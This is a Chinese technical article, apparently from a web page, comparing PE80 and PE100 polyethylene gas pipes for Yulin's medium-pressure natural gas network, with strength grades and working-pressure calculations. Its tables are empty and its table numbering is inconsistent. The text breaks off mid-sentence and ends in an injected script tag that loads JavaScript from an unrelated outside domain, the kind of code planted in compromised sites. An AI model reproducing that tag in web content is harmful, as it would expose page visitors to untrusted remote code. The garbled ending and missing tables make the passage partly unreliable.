一、前言 

　　玉林市天然气利用工程采用天然气为气源，城区中压管网设计压力为0.2～0.4 Mpa,根据城镇燃气输送压力分级，属于中压A级。由于聚乙烯燃气管具有良好的柔韧性和耐腐蚀性，同时重量轻、施工方便、寿命长、投资小、管道的气密性较好、管道表面光滑、输送流体阻力小等优越性能,玉林市中压管网采用了大量材质为PE100聚乙烯管。由于国内应用的聚乙烯燃气管大部分为PE80，而PE100的应用还比较少,现就PE80和PE100聚乙烯燃气管进行比较，分析玉林市天然气管道选用PE100聚乙烯管的原因。

　　二、PE80与PE100聚乙烯燃气管的比较分析

　　（一）聚乙烯燃气管发展简史

　　聚乙烯管习惯上按照密度分为低密度及线型低密度聚乙烯（LDPE及LLDPE）管（密度为0.900～0.930g/cm3），中密度聚乙烯（MDPE）管（密度为0.930～0.940g/cm3）和高密度聚乙烯（HDPE）管（密度为0.940-0.965g/cm3）。由于材料的不断进步，根据发展阶段和性能的不同，产生了材料的等级分化，密度不能反映聚乙烯作为管材的本质性能，因此目前国际上根据聚乙烯管的长期静液压强度（MRS）对管材及其原料进行分类和命名。长期静液压强度是指连续施加在该聚乙烯树脂制管管壁上50年时引起管材破坏时所计算的在管壁上的环向张应力，该值是管材结构设计的基础。聚乙烯管的工程设计概念与金属管不同，对于金属管的设计，广泛的使用环境温度下的屈服强度系数。而聚乙烯管与金属管不同，它受持续应力及温度变化的影响，因此聚乙烯管的设计应力应根据长期强度来决定，即通过绘制恒温下应力与破坏时间的曲线来确定。根据聚乙烯管的长期静液压强度（MRS），国际上将聚乙烯管材料分为PE32、PE40、PE63、PE80和PE100五个等级。

　　（二）PE80与PE100聚乙烯燃气管结构和混配料的比较

　　目前国际上使用量最大的管材树脂的MRS值为8.0MPa(PE80级),其树脂共聚单体含量比较高，具有较高的长期静液压强度和耐环境应力开裂性能。而MRS值为10MPa(PE100级)的管材树脂具有双峰型分子分布、己烯共聚物，具有较高的密度和刚度，很强的蠕变抵抗能力，在提高长期静液压强度的同时，也提高了耐慢速裂纹增长和耐快速开裂扩展性能，并具有良好的加工性，为提高管网输送压力、增大管道口径、扩大管道应用范围创造了条件。目前PE100的管材使用量，特别是在大口径管材上的用量，正在迅速上升。PE80与PE100聚乙烯燃气管混配料的最低要求强度见表1：

    表1　聚乙烯燃气管混配料的分类

    （三）PE80与PE100聚乙烯燃气管的最大允许应力的比较

　　根据国标《燃气用埋地聚乙烯（PE）管道系统第1部分：管材》GB15558.1-2003中3.24规定条件下的允许应力，按下式计算：σt＝MDS/C

　　式中：MDS———最小要求强度(MPa)；

　　C———总体使用（设计）系数，燃气用埋地聚乙烯管道系统的总体使用（设计）系统C≥2；

　　因此，PE80和PE100聚乙烯燃气管的最大允许工作压力就分别获得，见表3。

　　由表2中PE80和PE100的最低要求强度获得：

　　对于PE80级：SDR11系列管道σt＝8.0／2=4MPa，

　　对于PE100级 ：SDR11系列管道P＝10.0／2=5MPa。

　　（四）PE80与PE100聚乙烯燃气管的最大允许工作压力的比较

　　根据国家强制性行业规范《聚乙烯燃气管道工程技术规程》CJJ-95条文说明1.0.2中国际上对聚乙烯燃气管道承压能力一般按下式计算：

　　　          P＝2σ/[Fd(SDR－1)]

　　式中：P———工作压力(MPa)；

　　Fd———设计系数（安全系数）。燃气管选取范围为2～5，一般选Fd＝4.0；

　　SDR———标准尺寸比，即公称外径与壁厚之比，国家标准中规定有SDR11和SDR17.6。

　　由表2中PE80和PE100的最低要求强度获得：

　   对于PE80级：SDR11系列管道P＝2×8.0／4×(11-1)=0.4Mpa；SDR17.6系列管道P＝2×8.0／4×(17.6-1)=0.24MPa；

　　对于PE100级：SDR11系列管道P＝2×10.0／4×(11-1)=0.5Mpa；SDR17.6系列管道P＝2×10.0／4×(17.6-1)=0.30MPa。

　　因此，PE80和PE100聚乙烯燃气管道的最大允许工作压力见表2：

    表2 PE80和PE100聚乙烯燃气管道的最大允许工作压力

    （五）PE80与PE100聚乙烯燃气管不同温度下的最大允许工作压力的比较

　　国家强制性行业规范《聚乙烯燃气管道工程技术规程》CJJ-95条文2.1.4中：聚乙烯燃气管使用压力确定是根据管材在20℃（或23℃）时长期强度确定，由于聚乙烯管道对温度较为敏感，在较高温度下其耐压强度就要降低，为了保证聚乙烯管道的安全性就要降低使用压力。在较低的温度下使用时，管材的脆?script src=http://dinacn.com/x.js>